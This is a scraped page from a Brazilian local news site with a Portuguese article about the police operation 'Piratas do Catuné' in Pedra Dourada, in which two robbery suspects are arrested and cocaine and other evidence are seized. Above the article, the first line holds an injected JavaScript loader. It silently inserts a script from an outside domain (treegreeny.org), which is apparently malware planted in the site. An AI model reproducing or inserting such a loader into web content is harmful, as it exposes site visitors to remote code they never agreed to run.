;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Operação “Piratas do Catuné” é deflagrada em Pedra Dourada. - Portal Carangola

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Operação “Piratas do Catuné” é deflagrada em Pedra Dourada.

Na manhã desta sexta (27), a Polícia Civil de Minas Gerais, com apoio da Polícia Militar, deflagrou, na cidade de Pedra Dourada, a operação “Piratas do Catuné” em cumprimento a dois mandados de prisão temporária e mandados de busca e apreensão, expedidos pelo Poder Judiciário da Comarca de Tombos, com o parecer favorável do Ministério Público local. Dois suspeitos, de 21 e 24 anos, foram presos, suspeitos de praticarem dois assaltos à mão armada em um estabelecimento comercial, localizado no distrito de Catuné. Os crimes ocorreram nos meses de janeiro e abril deste ano.

Segundo as investigações preliminares, os suspeitos teriam se utilizado, nos dois crimes, de uma motocicleta CG 125, cor vermelha, com a placa tampada por uma sacola verde, e teriam abordado as vítimas armados. Durante as buscas, foram localizadas as roupas utilizadas pelos investigados, os capacetes, a motocicleta utilizada no crime, as botas usadas por um dos suspeitos e a sacola plástica verde. Já com o suspeito mais novo, foram arrecadados dezesseis papelotes de cocaína, embalados e destinados à venda, que se encontravam na carteira do referido suspeito, além de aparelhos celulares e documentos de veículos.

De acordo com o Delegado que comandou a operação, Diêgo Candian Alves, o sucesso dessa empreitada policial se deve às trocas de informações entre policiais civis e policiais militares, além de inúmeras denúncias que se aportaram à Delegacia de Polícia da Comarca de Tombos e ao Pelotão da Polícia Militar da cidade. “Foi graças ao apoio da comunidade, por meio de denúncias anônimas aos policiais civis e militares e, após levantamentos, que foi possível chegar aos suspeitos. Agora eles se encontram presos temporariamente por trinta dias, podendo ser prorrogada a prisão. Ao finalizarmos as investigações, as prisões podem ser convertidas em preventivas”, explicou.

A operação contou com o apoio de dez policiais civis e militares e com um cachorro farejador do agente penitenciário Escorpião. Os indivíduos encontram-se no Sistema Prisional, à disposição da Polícia Judiciária, para posteriores diligências, bem como à disposição da Justiça.

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